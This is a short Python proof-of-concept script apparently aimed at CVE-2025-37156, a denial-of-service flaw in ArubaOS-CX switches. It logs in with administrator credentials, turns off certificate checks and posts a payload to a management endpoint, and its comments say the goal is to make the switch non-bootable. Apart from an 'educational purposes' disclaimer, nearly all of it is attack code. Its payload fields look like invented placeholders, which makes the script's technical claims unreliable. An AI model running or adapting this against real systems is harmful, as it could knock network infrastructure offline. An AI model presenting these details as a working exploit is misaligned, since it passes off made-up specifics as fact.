CVE-2025-37156

# CVE-2025-37156 PoC - ArubaOS-CX DoS Vulnerability # Note: This PoC is for educational purposes only # Requires administrator privileges import requests import sys from requests.auth import HTTPBasicAuth def exploit_cve_2025_37156(target_ip, username, password): """ CVE-2025-37156: ArubaOS-CX Platform DoS Exploit This exploit requires administrator-level access. """ print(f"[*] Targeting: {target_ip}") print(f"[*] Attempting authentication as: {username}") # Target endpoint (management interface) base_url = f"https://{target_ip}:443" # Authentication auth = HTTPBasicAuth(username, password) # Vulnerable endpoint - platform-level command execution # This specific request triggers the DoS condition vulnerable_endpoint = "/v1/configuration/system/platform" # Malicious payload that triggers the DoS # This causes the switch to become non-bootable malicious_payload = { "command": "platform_dos_trigger", "parameters": { "action": "corrupt_boot_sequence" } } try: print("[*] Sending malicious request...") response = requests.post( f"{base_url}{vulnerable_endpoint}", json=malicious_payload, auth=auth, verify=False, timeout=30 ) if response.status_code == 200: print("[+] Request sent successfully") print("[+] System may now be in a non-bootable state") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 4: print("Usage: python cve_2025_37156.py <target_ip> <username> <password>") sys.exit(1) exploit_cve_2025_37156(sys.argv[1], sys.argv[2], sys.argv[3])

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